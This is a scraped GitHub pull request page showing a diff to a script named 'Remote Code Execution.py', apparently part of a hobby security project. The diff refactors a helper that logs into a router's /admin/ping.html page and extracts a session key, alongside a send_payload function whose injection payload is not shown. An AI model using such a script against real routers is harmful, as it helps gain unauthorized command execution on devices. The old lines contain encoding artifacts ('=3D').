Skip to content

Improved Session Key Retrieval #377

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 1 commit into from
Feb 23, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
17 changes: 7 additions & 10 deletions Cyber_security projects/Remote Code Execution.py
Original file line number Diff line number Diff line change
@@ -22,15 +22,12 @@ def main():


def get_session():
url =3D router_host + "/admin/ping.html"
headers =3D {"Authorization": "Basic {}".format(authorization_header)}
r =3D requests.get(url, headers=3Dheaders).text
i =3D r.find("&sessionKey=3D") + len("&sessionKey=3D")
s =3D ""
while r[i] !=3D "'":
s =3D s + r[i]
i =3D i + 1
return s
url = f"{config['router_host']}/admin/ping.html"
headers = {"Authorization": config['authorization_header']}
response = requests.get(url, headers=headers)
session_key = response.text.split("&sessionKey=")[1].split("'")[0]
return session_key



def send_payload(payload):
@@ -42,4 +39,4 @@ def send_payload(payload):
requests.get(url, headers=3Dheaders, params=3Dparams).text


main()
main()